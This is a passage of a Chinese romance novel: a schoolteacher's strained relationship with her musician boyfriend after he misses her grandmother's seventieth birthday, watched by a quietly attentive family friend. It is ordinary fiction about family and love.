《雪霁逢嘉年》
1. 01
十月底的深秋,佟嘉悦外婆七十大寿。
方霁明百忙里抽出时间,千里迢迢赶回秦城赴宴。他刚下飞机,就直奔举办寿宴的酒楼。
佟嘉悦外婆不喜铺张,一切从简,除自家人,只邀请了亲近的几家人,包厢三桌席,一场小小的温馨家宴。
已在宴席上的母亲打电话问:“到了没?”
方霁明:“到了。”
母亲闻绮:“嘉悦说她在一楼大厅等你,她已经下去一会儿了。”
恰此时,大厅里清凌凌的女声传来,“霁明哥!”
方霁明脚步微滞。
偏头,笑眼盈盈的女人迈着轻快的脚步迎上来,说:“都没想到哥你会赶回来,我接你上去。”
作为东道主,见方霁明诚意十足,佟嘉悦自然要投以同样的诚意。
尤其见他几分倦容,风尘仆仆,手里还拎着一个看起来很大很沉的礼盒,佟嘉悦主动伸手,捞走,决定帮他拎着。
女人小指擦过手背,仿若被蛰了下般酥麻,方霁明呼吸一轻,没阻拦,让她顺走。
女人颇为熟稔地碎碎念:“就是个家宴而已啦,吃顿家常便饭的事,你还带礼物。”
方霁明敛眼,静邃的目光落在女人身上。电话那端母亲还在发问。
“嗯,看到人了。挂了。”
好久没见她了。
她还是一如既往的,率真明媚。
等到电梯,轿厢里,佟嘉悦垂眸扫了眼手里的大礼盒,随口问:“这是什么?”
方霁明淡声说:“洗脚桶。”
佟嘉悦一个字节发出两种升降音调:“嚯!”
“真会送礼物!很了解我家小老太太嘛。”佟嘉悦一双眸弯成月牙,打趣。
大抵是职业习惯使然,在小学当老师的她,不吝啬于夸赞人,像表扬小朋友的真挚语气,不放过任何一件她觉得值得称颂的小事。他笃信,倘若她兜里有小红花,一定会当场给他胸前贴上一个。
思及此,方霁明说:“给我吧。”
佟嘉悦曲起另一只空闲的胳膊,做了个大力水手的秀肌肉姿势,轻松道:“不用不用不用,我班上的小朋友我一胳膊拎两个不见喘,你妹我天生怪力~”
方霁明稍稍牵动了下唇角,那张一贯面无表情的冷脸,由此变得生动。佟嘉悦促狭一笑,净润透红如水蜜桃般的脸毫无预兆地凑到眼前,“哥你看你那么帅,平时多笑笑嘛。”
方霁明微微失神,艰难地偏开眼,躲开女人打量自己的狡黠视线,“齐轶呢?”
“……”哪壶不开提哪壶,佟嘉悦冷哼了声,“死了吧应该。”
方霁明:“……”
*
吃过酒宴,佟父佟母张罗客人的娱乐,没事的可以去她家打麻将。闻绮今日无事,又是佟母的死忠牌友,让方霁明驱车送她去。
驾驶座上的方霁明注视车窗外,心不在焉地颔首,无多时,他看到她向这边走来,不留痕迹地转头,收回视线。
半开的车窗响起两下清脆的敲击声。
佟嘉悦双手撑膝,探头问他:“霁明哥,我爸载我小姨、小姨夫和外婆,能麻烦你载我和我妈妈一程吗?”
酒店车库里昏暗少光,佟嘉悦脸上的笑意很淡,礼貌征询。
“你客气啥?那你妈呢?”闻绮快言快语,“快进来,快进来!”
“妈——这里,这里!”佟嘉悦旋即转头高喊。
方霁明透过女人的肩头看过去,佟母和齐轶母亲在交谈,身后是齐轶父亲的车。
她怎么大费周章跑来坐他的车?
齐轶双亲与佟家几乎已与亲家无异,是与齐轶怎么了?
佟嘉悦和她母亲柴琳上车后,疑惑由母亲问出。
柴琳颇为无奈地笑说:“小情侣闹别扭呢。”
佟嘉悦没应声,垂眼刷手机。
柴琳凑过去拍了拍佟嘉悦的手,轻声劝慰,也是告诫:“外婆七十大寿呢,你得开开心心的,情绪不要带给其他人。”
佟嘉悦忙不迭解释:“妈!不是那样。”
“我早和叔叔阿姨打过招呼了,他们今天又不来打麻将,也不顺道,麻烦他们干嘛?”佟嘉悦轻声道,“我没有那么没礼貌,我生齐轶的气,也没道理冲他爸妈发脾气。”
“就是就是。”副驾座的闻绮转头,笑着打圆场,“嘉悦性格多好,最听话懂事了。”
佟嘉悦抿了抿唇,忽然又不说话了。
抱臂头偏一旁,倚看车窗外,任思绪沉浮。
方霁明手指轻轻敲打方向盘,透过后视镜,不动声色地看她。
到了佟家,麻将搭子迅速成团,自动麻将桌前围坐着佟嘉悦小姨夫、佟父和方母闻绮,佟母柴琳准备拉方霁明去凑个数,大门适时被敲响,佟嘉悦去开了门,竟是齐父齐母。
齐母站在门外,笑呵呵地问:“缺人不还?”
佟嘉悦微愣一瞬,将人迎进门。
往里一边走,齐母一边亲昵地挽住佟嘉悦的胳膊,凑她耳畔,特意解释说:“刚才他爸在电话里把阿轶骂了个狗血淋头,别不开心,啊!他爸脸上挂不住,才不肯来你家打牌,我好说歹说把他劝来了,咱们两家怎么能生分呢是不是?”
末了,她意味不明,又神秘兮兮地卖了个关子,“待会儿啊,嘉嘉,你稍微等会儿好不好?”
“嗯嗯好,阿姨。”佟嘉悦顿了顿,笑眯眯地应,“这没什么呀,他放我鸽子,叔叔阿姨又没有,牌桌正好缺人呢,干嘛不来呀。”
二人聊了几句,齐母去厨房找柴琳。柴琳在切果盘,佟嘉悦小姨撑着料理台,与自家姐妹唠家常。
齐父早已径自往牌桌去了,自然而然顶掉了预备役选手方霁明。预备役晃去了客厅,被沙发上看电视的小老太太逮住,叫帮帮忙找遥控器。
三三两两,各自成群,佟嘉悦自然去找现场唯一的年轻人。
“外婆你要不要泡脚?”佟嘉悦替方霁明邀功,“咱们小方同学给您买了好大一个泡脚桶!可以自动加热、自动按摩,还可以放中药包,超养生的,超舒服的!”
小老太太摆摆手,对新鲜事物有着天然的抗拒,“啥泡脚桶,我家里有洗脚的搪瓷盆!”
佟嘉悦撒娇,继续劝说:“哎呀,您试试嘛。”
方霁明半坐在沙发沿,举着遥控器,默不作声地帮老太太调试频道,仿若这话题与他没半点儿关系。
佟嘉悦一副势必要说服老太太的阵势,转头找同盟,指挥说:“小方同学,去把你的寿礼拖过来!”
方霁明起身,把在玄关墙角的泡脚桶拖到沙发,蹲下身又拆了箱子拎出来,方才应道:“佟老师,您看如何?”
佟嘉悦冲他竖起大拇哥,笑眯眯夸奖:“很棒哟~”
方霁明轻笑了声,将说明书放到了老太太手里,“您可以先看看。”
老太太嘴上虽没吭声,却显然已起了好奇心,她推了推鼻梁上的老花眼镜,开始埋头半懂不懂地翻看说明书。
老太太个头小,精力却极好,闲不住,爱折腾,佟嘉悦大抵便是随的她外婆,生龙活虎,力气也大。
小老太太爱走路,爱种菜,菜园一呆呆一天,菜园家里两头窜,半小时的路,坚持每天走来走去。在菜园忙活一天之后,回了家,老太太尤其爱的保留节目,便是泡脚。
这些都是佟嘉悦提过的——方霁明是个投人所需的实用主义,所以选了泡脚桶当贺礼。
他并未想邀功,也不过小小礼物,不成敬意。佟家于他有恩,他会铭记一生。
起初创业的最艰难时期,他在佟家住了近一年,那是老太太的房子。租金分毫不领,还投喂三餐,在生活上,佟家多有照拂。
费了好一番功夫,终于说服老太太试上了泡脚桶。
热气腾腾的泡脚桶水温适宜,又可足底按摩,老太太一脸舒惬的表情,看起来很是满足。
佟
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嘉悦抱着抱枕窝进沙发,陪老太太有一搭没一搭聊着,方霁明半倚半坐回沙发沿,敛眼摁亮手机,从上往下翻阅工作讯息。
“总在乡下种菜,一次没见着你小男朋友!”老太太忽然说。
终于还是想起来了,佟嘉悦微不可察地叹了口气,扬眸间笑说:“哎呀他忙。”
老太太继续追问:“你不是说,他会回秦城看看我,陪我这老太太过个生吗?”
见外孙女不说话,老太太自顾自又说:“说话不算话呀,这小齐!那你以后得点点他,这不好,得改!”
“我还想把种的黄豆,点的豆腐,晒的豆皮,打的豆浆送去你家呢——你自己的小家!腊牛肉也腌得很好,剁碎了夹在馍里,我就想给你和小齐尝尝,美得捏!等你成家立业,你也不用买菜,我给你家天天送最新鲜的菜去——”
佟嘉悦的脸骤然一红,“外婆!哪就到那一步了!”
老太太揶揄:“嘿嘿!害羞啥呢。”
老人家像是随口一说,不知是敏锐还是糊涂,轻飘飘点出端倪,又轻飘飘揭过。
点到为止。
佟嘉悦没让老太太的话掉地上,弯着一双笑眼,一直陪老太太说话,逗得老太太嘎嘎乐,合不拢嘴。
她从来给别人很足的情绪价值,是大家的开心果。
泡完脚,老太太也困了,佟嘉悦送老太太去客卧上床睡了。
再出来时,开心果小姐一边从口袋里摸出手机,一边拉开阳台的玻璃门,径自去了阳台外。
透过那扇玻璃拉门,方霁明静静打量着她低垂的头,夜风吹起及肩的锁骨发,唇线平平,神情空茫,摁亮屏幕又熄灭,如此往复。
他本不想打搅她的清净。
他斟酌着自己合该保持的距离,可……谁叫此时此刻,那人不在她身边呢。
更或许,那人就是始作俑者。
*
“咯吱——”一声,佟嘉悦听到玻璃门被人拉开的迟滞响动。
转头回望一眼,见来人是方霁明,他一贯淡淡的神情,淡淡的语气,问她,“在这里做什么?”
像个能量耗尽的蓄电池,佟嘉悦话开始变少,澄黑眼瞳转了转,慢吞吞回想:“发呆?”
方霁明:“打搅你了?”
佟嘉悦忽然觉得有点好笑,“打搅我发呆?不至于耶。”
“发呆也是正经事。”谁都需要消化情绪。
佟嘉悦不由莞尔。
“霁明哥,为什么你都能赶回来,而……”佟嘉悦顿了顿,倏地轻喃,“算了。”
清沉男声了然直问:“齐轶么。”
佟嘉悦:“嗯。”
“什么原因?巡演?”
“这么聪明干嘛?”
“不开心?”
齐轶是小有名气的独立音乐人,在流媒体音乐成绩不错,工作性质不定,飞来飞去,四处巡演跑live现场,要么泡在录音棚,死k编曲,潜心创作——这些方面方霁明都略有耳闻。
“就是有一点失望啦。”佟嘉悦故作云淡风轻地说,“放我鸽子其实……”
她习惯了,谁知道连……
“我只是不想对外婆食言,让外婆失望。”
那天她对外婆讲,在她七十大寿那天,会带齐轶见见她的时候,外婆可高兴了。
今天从酒楼的寿宴开始,到回了家,外婆都没提起,她松了口气,以为外婆年纪大忘记了,谁料其实老太太她心里门儿清。
方霁明很想卑劣发问,让你不开心的男人,考虑分手吗?
恰此时,齐母忽然一把拉开玻璃门,她怀里揣着一个平板,着急忙慌地问:“快快快,嘉嘉,我找你半天了,快过来快过来!”
佟嘉悦愣了愣,“这是怎么了,阿姨?”
齐母招手笑喊:“你先过来就知道了!”
在这一瞬间,方霁明看清女人墨如点漆的瞳孔里,泛起了隐隐期待的雀跃亮光。
2. 02
齐母当着众人,在餐桌上支起了平板,本已睡下的外婆也不知为何又出来了,披着薄毯靠坐在椅子上,哈欠连连。平板上显示齐母微信栏,齐轶弹来的视频通话界面。
佟嘉悦甫一从阳台进了屋,齐母就匆匆忙忙点开了接通键。
一阵电流忙音,画面骤亮,剧烈晃动,紧接着传来几声年轻不着调的画外音。
“接了,接了!”
“我靠要说点啥好,Hello,Hello,阿姨好哈哈哈哈……”
“快快,对准主舞台,别搁这儿废话!”
葱翠绿坪的俯视画面瞬间转换成仰拍的音乐节现场。不知是谁高举着齐轶的手机,大抵他厂牌的兄弟们,或者经纪人。
一场毫无准备的、仓促的、即兴的Live现场“直播”。
灯光,大荧幕,霓虹闪烁的舞台,吊臂摄像机,台下人山人海的歌迷,台上默默演奏乐器的乐队,还有聚光灯下的,握着麦克风专注演唱的歌手。霓虹光带点缀稠黑夜幕,夜风拂过男人蓬松的发梢,露出英俊疏朗的眉眼,和耳廓处若隐若现的银色耳钉。
佟嘉悦再熟悉不过的一些场景布置,台上那个人,也是最熟悉不过的。
老太太没戴老花镜,眯着眼凑近平板屏幕,“哟呵,这就是小齐啊?”
“是呢,是呢。”齐母殷切答,却频频看向佟嘉悦。
没等到佟嘉悦的好奇发问,她便讪笑着说:“嘉嘉,这是阿轶给你的惊喜哦。虽然我也不太懂,你继续往下看啊。”
齐轶正在唱的这首,是他的新专。歌已渐入尾声,一首毕,音响的背景乐也停了,中场休息时间。
男人开始与台下交谈,说一些串场台词。
“下一首《嘉嘉》。众所周知,嘉嘉是我生命中最重要的人!嘉嘉是最可爱的嘉嘉,是我从小到大的青梅,我的初恋,全世界我最爱的女!朋!友!”
台上的男人笑起来,露出皎白的八颗牙齿,向全世界炫耀起自己的女朋友时,带着一些洋洋得意的孩子气。
佟家客厅内,小老太太眼一捂,打趣:“哎唷哎唷,真不害臊!”
被这动静引诱,那端打得正焦灼的麻将也登时失去了吸引力,牌友们偃旗息鼓,默契暂离了麻将桌,悄么悄凑于老太太身后,饶有兴趣地探头探脑,齐齐围观那小小的一块平板荧幕。
瞧,他从来不吝啬于大胆示爱,是个极擅长制造浪漫的男人。
自己在担心些什么,方霁明自哂一声。
团团围聚的人群外,方霁明不近不远地静静旁观。
“唯一遗憾的是,今天呢,嘉嘉不在现场,她不能当场听到我唱这首歌。因为今天是嘉嘉外婆的七十大寿!我也很遗憾,不能陪外婆过生日!”平板里,齐轶朝摄像头散漫地挥了挥手,大屏幕内便窦然切出男人帅气的特写大脸,他旁若无人地笑喊,“嗨,嘉嘉,嘉嘉,看到我了吗!嘉嘉抱歉啦,今天是很重要的Live,没能回来陪你!我在这里祝外婆大寿星长命百岁,生日快乐!”
生日快乐,一个无师自通的触发关键词,台下众人瞬即笑吟吟地,异口同声地大喊外婆长命百岁,生日快乐。大屏幕默契切屏,扫过一张张正在诚挚道贺的乐迷笑脸。
老太太哪见过这新奇阵仗,很是受用,眼褶子笑作一团,乐得合不拢嘴。
齐母亲昵地去挽佟嘉悦的胳膊,没好气笑骂:“净会整些花里胡哨的,是不是?这死小子!”
那首名为《嘉嘉》的情歌,前奏导入,协作的乐队退场,舞台上只剩齐轶,敛眼坐在高高的高脚凳上,抱着吉他清唱。
佟嘉悦也在笑,唇畔稍稍扬起弧度,她眸里有淡淡的亮光浮动,又一点点熄黯。
*
或许对在场的大多数人来说,今日虽有些小插曲,总体上算得上完美。
麻友们继续回牌桌奋战,余下的在沙发上或坐或卧,嗑瓜子吃果盘闹闲嗑,时不时去看看牌,和自家另一位换换场,过个手瘾。几家今夜闲聊不完的话题,围绕着佟齐两家这对省心的儿女,如此登对的模范小情侣,甜蜜腻歪,天造地设,他们感情稳定,稳步向长辈们所期待的婚姻迈进,畅想着一切奔向新生活的美好图景。
佟嘉悦扶老太太从餐桌起身,“困吗?”
老太太慢吞吞打着哈欠,“有点哦。”
佟嘉悦忙催促道:“那快去睡吧,外婆。”
佟嘉悦扶老太太进了客卧,在床上躺下,她掖着被角,状作不经意地随口问:“外婆,开心吗?”
“开心开心,”老太太轻睨她一眼,轻拍了下手背,呵呵笑说,“煞费苦心的,说明小齐是把你放在心上的,那我就放心了。”
“嗯嗯,那就好。”佟嘉悦笑应。
从客卧出来的时候,佟嘉悦远远就听到闻绮女士和柴琳女士的“盛情问候”。
方霁明被这二人连番围剿,何时恋爱,何时带女友回来相看,何时结婚,何时生子,方霁明见招拆招,客套应付,此番此景,他照旧没什么多余的表情,看起来游刃有余。
男人一个抬眼间,瞥见后边儿佟嘉悦努力憋笑,几分看热闹的表情,凉凉的目光无声迫她,过来救人。
佟嘉悦悄悄冲他比了个“OK”的收到手势,“O”字搭在脸颊,歪头卖萌,一贯的古灵精怪,没个正形。
她飞步过来,打断妈妈们的絮叨:“哎呀谢谢霁明哥百忙之中,还抽时间赶回来,真是太有心了!你今天一路都在赶飞机赶车吧?舟车劳顿的,怪累的!”
“啊对,也是哈,”闻绮后知后觉,“你要不先回去睡,我和琳子再聊会儿。”
方霁明无可无不可,反问:“不打麻将了?”
闻绮升了个懒腰,“打累了,歇会儿再打嘛。”
柴琳忙说:“你快回去休息,待会儿我叫嘉悦开车送你妈妈回家。”
“好,麻烦了。”方霁明淡淡颔首,又说,“大家尽兴,我去给大家买点宵夜。”
方霁明客气而周到的一席话毕,自沙发起身,去玄关衣架处取外套。
“嘉悦,”方霁明垂眼边套风衣,边喊佟嘉悦,“要不要一起去买宵夜?”
佟嘉悦眨了眨眼,应:“好哇好哇。”
*
下到车库,佟嘉悦坐副驾,方霁明驱车出来,汇入主干道的茫茫车流。
“今天开心吗?”方霁明状似不经意地问。
“嗯嗯,开心呀,”佟嘉悦旋即笑应,“今天这么好的日子,哪有不开心的道理。”
方霁明不置可否。
须臾,他宛若会后点评,冷不丁地说:“你今天话有点密,也有点兴奋过头。”
佟嘉悦愣了稍倾,没好气反问:“是你话太少,还是嫌我吵?”
方霁明冷着一张脸,想了想,平声陈述:“还卖萌。”
佟嘉悦呛了一呛,腹诽能不能别用这种帅帅的臭脸轻飘飘讲出这种话啊。
她不满抗议:“什么人嘛?早知道见死不救了!”
方霁明要笑不笑,试探问:“佟嘉悦,你的快乐小狗哲学进阶了?学会了隐藏心思,伪装心事,违心发言?”
佟嘉悦唇线轻抿,一下噤声。
被人毫不留情地戳穿后,她连社交性的笑脸也懒得维持,索性把头一偏,就任由自己思绪放空,盯着窗外急掠而过的一道道流光彩影。
很多时候,旁人对佟嘉悦最多的一句形容,是性格好。
没心没肺,知足常乐,凡事不恼,过后即忘。她是人群里的率真
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活泼,喜欢活跃气氛的开心果,也是父母眼里听话懂事,有分寸懂礼貌,不给人添麻烦的乖女儿。
佟嘉悦曾大言不惭地给已踏入社会的方霁明讲述她的人生哲学,活在当下,珍惜每一天的快乐!
——在她不过还只是个高中生的时候。
她一直记得那一天。
那是她第一次,对无所不能的霁明哥改观:原来他也是一个脆弱的、颓丧的、有挫败感、会情绪低落的普通男人。
方霁明和一同创业的某位友人理念不和,大吵一架,而后友人当即收拾行李,打道回府,就此分道扬镳——他任性地,逃避地抛下团队其他人,抛下正在制作的游戏Demo,去台球厅打了一整天的球,打完斯洛克打中八,和球厅的老炮儿们赌球。
佟嘉悦找到他的时候,怪力少女毫不气喘地把他拖拽出来,而后在球厅门口把腰一叉,就开始絮絮叨叨地教训他,有邻居路过,瞥见一个穿校服的少女老神在在地数落一个年轻男人,笑一句倒反天罡,人小鬼大。
她记得到最后,一向面无表情的方霁明居然也笑了。
笑过之后,他自顾自抬步就走,佟嘉悦赶忙跟上,却见他去隔壁小卖部拉开冰柜,买了两根冰棍儿,抛给佟嘉悦一包,两个人就靠着小卖部的绿铁门,在拦隔炎炎烈日的廊檐下,眯着眼,百无聊赖地吃完了一整根冰棍儿。
“我打了一天球,那群老头儿偏要跟我赌,钱都输给了我。”
“这么厉害哦,那你为什么还蔫蔫的?”
“只是赢了点小钱而已。”
“那也可以为此感到开心啊!”佟嘉悦咬着冰棍儿含糊说,“喏,就像这个,居然是我馋了好久但一直售罄了的口味,今天意外吃到了!你给了我一个surprise,现在很开心!”
方霁明记得,她那会儿剪了个不大好看,发尾毛躁的学生头,狗啃似的,为此天天腹诽那家剪发Tony,苦恼好久。
“小狗的快乐真简单。”他低声说了一句。
“你说谁是狗啊方霁明?”佟嘉悦恶狠狠瞪他。
方霁明下巴微努,“那里。”
凉棚下,两只小狗欢快打闹,打着打着,就躺作两条,惬意呜鸣。
“……”佟嘉悦就觉得他在阴阳怪气。
于是她义正言辞地替路边小狗声张正义,毛毛躁躁的发尾微卷,摇碎日光。
“子非狗安知狗之乐!你不懂它的快乐小狗哲学!”
方霁明缓缓捂住了脸,靠在门上骤然失笑。
佟嘉悦羡慕那时候的自己,她对世界的理解,简直是天真又无畏。
她的确是个容易满足的人,她时常很快乐,也喜欢给大家带来快乐。可慢慢长大成人,她向内观己,偶尔会细细回想,有多少是她忽视自己的感受建立起来的呢。
去计较这些的时候,她便发现,怎么好像不那么快乐了。
齐轶很会制造浪漫。
被铺天盖地的浪漫击晕,短暂的快乐之后,而她又不可自抑地陷入低落情绪。因为她意识到,这不是惊喜,而是补救。
“生气了?”车内静寂的气氛让方霁明开口,他诚恳致歉,“抱歉,嘉悦。”
“没有。”佟嘉悦摇了摇头,“没有,霁明哥。”
她没有生气,反而要感谢方霁明,能让自己有一方空间,可以自顾自消化情绪。
“那么,介意和我聊聊吗?”
方霁明只觉得她今日的笑容游离。
他不希望她在他面前表演快乐。
他只是一个旁观者,一切都是建立在对佟嘉悦的多年了解下,他的推测。她与齐轶二人的感情,他无从置喙。
但庆幸,他好歹还能当一个她可以倾诉的知心哥哥。
3. 03
当方霁明抛出问题后,佟嘉悦回:“先去把宵夜买回来吧。”
“下车走走也好。”方霁明稍稍颔首。
他观察前方的路况,车流渐少,畅通无阻,再走五百米,买宵夜的地方快到了。
烧烤老店开在夜市街,每到夜晚门庭若市,不开外卖,现串现烤,是秦城的老字号。
佟嘉悦会记得每个人喜欢的口味偏好,谁喜欢辣子多放的肉筋串,谁喜欢重孜然的牛肉串,少不了刷足酱的一整张烤馕,等等等等。等烧烤做好的期间,她还让方霁明去附近的铺面买了水盆羊肉,小炒泡馍。
方霁明记得佟嘉悦喜欢吃面皮米皮,各式各样手工制作的面食。这里有一家十分有名的麻酱酿皮店,他去买完打包过来,递给正在等候烧烤的佟嘉悦,说给她买的。
“哇,碳水炸弹,晚上让我吃这么高热量的,你是何居心?”佟嘉悦满脸纠结地控诉。
“怕胖可以不吃。”方霁明只说,“你忘记给自己买点爱吃的。”
佟嘉悦怔了怔,随即卖乖的语气,笑眯眯捧场道:“哇,哥对我真好!谢谢霁明哥。”
方霁明唇角稍扬了下,很快回落。
拎着大包小包回到车里,宵夜放后座,佟嘉悦却唯独一直捧着那碗酿皮,那样子有点傻。麻酱浓郁,即便打包周整也掩盖不了它的香气,勾得她一直嘀咕馋死我了。
没多时,佟嘉转头问方霁明:“哥,你记得我爱吃什么啊?”
方霁明似笑非笑地说:“凉皮,酿皮,热米皮,蒸米皮,擀面皮……”
佟嘉悦立马投降,“OK,我承认我就是个面食脑袋!饿了,别报菜名了!”
她起的话头,又忽然冷下来,半晌,她没头没尾地轻喃:“不知道申城有没有地道的酿皮店啊?”
方霁明几分怔然,不明白她为何忽然提到申城,沉吟片刻,他说有。
然而其实他并不清楚。
他口腹之欲很淡,对饮食毫无追求,所有食物在他眼里一视同仁,只是摄入能量、汲取营养的一道必须程序——那些满足思乡情结这些附加价值的家乡小吃,他更无从知晓了。
果然,他是个很无聊的人。
方霁明暗暗自嘲。
然而这个话题并未继续,佟嘉悦外套口袋里的电话响了。
女人瞬即微微鼓了颊,盯着来电显示界面,一分半钟后,她倏然往方霁明的耳边一递,灼灼盯着他,眼神示意他说话。
方霁明无奈点头。
佟嘉悦这才反手点击接通,清爽男声迫不及待,如倒豆子一般泄出来:“嘉嘉有看我今天的live吗今天我演出棒不棒我帅不帅——”
方霁明面无波澜:“你好,齐轶。”
那端愣了三秒,“别闹,嘉嘉。”
方霁明似笑非笑,“……您耳背?”
佟嘉悦手臂举得发酸,暗自憋笑。
齐轶嘻嘻哈哈,“别说你学方霁明学得还挺像,我都能想象他那张绝世臭脸草——”
“你俩背后没少蛐蛐我吧?”方霁明眉梢微挑,好似质问的语气,凉凉的目光轻睨佟嘉悦。
“噗哧——”佟嘉悦没忍住笑出声。
齐轶后知后觉,反应过来,“……啊?活的霁明哥?”
方霁明要笑不笑,“死的怎么和你对话?”
“咦,那就是另一个恐怖故事了,”已散场的音乐节后台,齐轶搓了搓胳膊,笑着打招呼,“霁明哥好啊。”
方霁明不咸不淡地“嗯”了声。
齐轶问:“你和嘉嘉在一块儿?”
佟嘉悦回:“嗯,跟我一起去给家里买点宵夜。”
齐轶从母亲那里知道了今天很多人在佟家打牌,了然点头。
遂转而特意向方霁明解释方才的乌龙,“嘉嘉大学玩过配音,经常模仿别人声线跟我这样恶作剧,男的也能模仿,很像的!霁明哥别介意哈!”
方霁明说:“据我所知,女CV一般很难模仿成年男性。”
“嗯?是吗,”齐轶不甚在意地应道,话锋一转,“哦对了嘉嘉,你学校来年的一二月份该放寒假了吧?江城我有场LiveHouse,你飞来看我下一场演出吧。”
佟嘉悦敛睫不应声,心道,每次都是我千里迢迢去看你,追着你跑。
前不久的国庆七天假期,佟嘉悦坐高铁去蓉城,头两天音乐节是他的工作,只等齐轶工作结束,本以为接下来的时间都可以陪她度过,去看熊猫也好,去闲逛观光也罢,她希望有两个人的独处时间。
而他呼朋唤友,带着厂牌的朋友们一同出游,她天生的性格使然,买票订酒店,定游玩计划做攻略,周全招待,让大家尽兴——而她没尽兴,短暂的假期变得走马观花,她意兴阑珊。
一切结束后,为此发生争吵。
“嘉嘉?”一直没得到答复,齐轶疑惑轻唤。
车开得飞快,无知无觉,离她家小区还有大约一公里。
佟嘉悦挂掉电话,偏头,神情淡淡对方霁明说:“霁明哥,可以把我在这里放下吗?就几步路,我慢慢走回去。”
静遂的目光扫过她的脸,方霁明靠边停车,“好。”
*
“先不说你的下一场,我们聊聊我外婆的七十大寿。”齐轶的电话再打过来的时候,佟嘉悦开门见山地说,“齐轶,你还记得要回秦城,陪我见外婆这件事吗?”
情绪已到临界点,她必须不吐不快,不愿让心结过夜。
那端沉默片刻,齐轶笑说:“不喜欢我准备的惊喜吗?我不是祝外婆生日快乐了吗?”
“那是两码事。”佟嘉悦平静而坦诚地说,“平心而论,我喜欢的,外婆也喜欢。但你失约了,你又放我鸽子了。见外婆这件事,对于我来说是一件很重要的大事。”
“……”齐轶一时缄然。
很快,他道歉:“对不起嘉嘉,我错了。”
然后语气里裹上几分委屈,好似一番热情被打击到的可怜小狗,嘀咕,“嘉嘉,你最近怎么总在翻旧账?”
佟嘉悦笑了笑,轻声道:“因为我感觉我的需求似乎总在被忽略,你没有把我的话放在心上过。”
齐轶感到受伤,下意识反驳:“你的指控很过分,嘉嘉,没有放心上的话,我会特地在演出现场给外婆道贺吗?”
“不是这件事,是你总在失约。”
“不是一回事吗?”
“两码事。”
“Stop!”
齐轶紧急叫停,面露疲累。
她从前从未如此尖锐过,为什么最近的对话总是如此。
正此时,绿坪的不远处,音乐节的其他嘉宾、厂牌朋友,和他经纪人轮番过来催促,此起彼伏地呼喊,出去喝酒。
“跟二十四孝男友似的,天天打电话报备。”
“你懂什么,人家腻歪!”
“咦,没眼看。”
“谈恋爱的男人真没劲儿!”
嘻嘻哈哈,一阵揶揄。
嗓门
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很大,透过对方的手机,佟嘉悦也隐隐约约听到了。
她知道此番对话再进行下去,彼此就会进入鬼打墙一般的无效交流状态。最后闹得不欢而散,身心俱疲。
他成功演出一趟,佟嘉悦不想叫他扫兴。
她从来不是一个扫兴的人。
于是佟嘉悦说:“你去吧,晚点再聊。”
齐轶说:“好,嘉嘉,你先冷静下。”
挂断来电,佟嘉悦自胸口轻吁出一口气。
是她太小题大做,吹毛求疵了吗?
就结果而言,外婆隔着手机屏幕也算“见”到了他,他给外婆道了贺,她初衷也是为了老人家开怀,齐轶的惊喜外婆颇为受用,最后也挺高兴。
她在短暂的欢喜过后,意识到没有惊喜,只有补救。
她开始较真地去揭开每一个小点,锱铢必较,每一次都不再想轻飘飘放过。
“嘉悦。”
佟嘉悦思绪回笼。
路灯下,氤氲的灯光如雾,裁出车的形状。方霁明的车静谧驶来,停在身侧,车窗摇下半扇,方霁明淡声问她。
“酿皮还吃不吃?”
佟嘉悦深深吸了一口气,一把拉开车门,“吃!”
她钻入车内,扫一眼后座,宵夜大抵已经被方霁明送上去了,唯独留了碗麻酱酿皮。
“放久了就不好吃了,”佟嘉悦小声问,“我在你车上吃,可不可以?”
“可以。”方霁明将车开到附近的停车处停下。
佟嘉悦掀开打包盒,翻搅酿皮,拆开一次性筷子,报复性地塞一大口,埋下头,机械般地咀嚼。
方霁明平声提醒:“没人催你。”
“好吃。”佟嘉悦含糊道。
一碗麻酱酿皮风卷残云地吃完,佟嘉悦力气大,大概也承袭于她外婆的胃口好,不挑食。碳水炸弹抚慰五脏庙,心情熨帖不少,佟嘉悦吃完放下碗,从外套口袋里摸出一包纸巾,才知道找回形象,故作文静地取纸擦嘴。
方霁明轻笑了声:“和我聊聊,还记得吗?”
“哦。”佟嘉悦明白了他在关心她,于是沮丧地坦言,“刚刚和齐轶吵架了。”
“还是因为他没回来,失约的事?”
“嗯。”
“刚刚我们也摊开聊了聊,他道歉了。其实后来他给我准备的惊喜,那一刻挺开心的。”可开心之后是巨大的失落。
“是他如约回来陪你见外婆开心,还是在音乐节现场当着众人给你外婆道贺,更开心?”方霁明一针见血地问。
佟嘉悦语遏,他仿若一眼就看穿了她是怎么回事?
她沉默了半晌,方道:“前者。”
佟嘉悦问:“我是不是太小题大做了?尽管没回来,但齐轶尽心尽力补救了,今天大家很开心,外婆也很开心。”
“你想要吃苹果,他却总给你买梨。说他不记得你的嘱托,他是记得的,但却总买错。”方霁明双指并扣,漫不经心地轻敲方向盘,似在克制些什么,给人无端压迫感。
“你是不是觉得梨好像也不错,脆的,甜的,好像也满足了自己的需求,是自己太苛责。”
佟嘉悦掀了掀唇:“我……”
“如果是我,我会从一开始就买苹果。”方霁明淡淡出声,几似自语。
佟嘉悦没大听清,“什么?”
“我是说,”方霁明缓缓看向她,稠黑而静寂的目光,望进她的眼眸里,“我的建议是,正视自己的真正感受,嘉悦。”
4. 04
翌日周一,新的一周,新的枯燥又重复的一天。
佟嘉悦骑上小电驴去上班,秦大附小离家不远,到校后囫囵吃早餐,盯升旗仪式,上课,备课,写教案,时间是泡沫里挤出的水,见缝插针地挤压填满,她是一颗小小齿轮,按部就班地运转。
午托的时候,今日的学生家长来陪餐,与佟嘉悦一同享用食堂餐食,今天的玉米青豆虾仁和小酥肉不错,得到家长的肯定。
陪餐的那位家长半开玩笑地吐槽:“不愧我们家长往学校天天提建议,食堂是不是换师傅了?最近好像没那么难吃了。”
佟嘉悦微微一笑:“无功无过,重在健康,干净卫生。”
“是是,这我不否认!”家长又说,“小佟老师总是午餐吃这些,是不是嘴里淡出鸟?”
佟嘉悦客气应道:“我减肥,也挺好的。”
吃过午饭,告别家长,佟嘉悦嘴一瘪,可不是嘛!
盯孩子们午睡,午休时间所剩无几,回到办公室,她从抽屉里拿出零食来打牙祭,佟嘉悦不是小鸟胃,小学生的午餐分量她吃不饱。
又与同事点咖啡提神,打算驱散疲惫,继续写教案。等外卖的间隙,她摁亮手机,清理各APP自早上起一直无暇关照的小红点。
刷新互关的微博,跳出一条:今天在梦乡漫展,欢迎来找我玩呀~
微博名CV菲芸,一张在签售摊位比耶的自拍图,定位秦城。
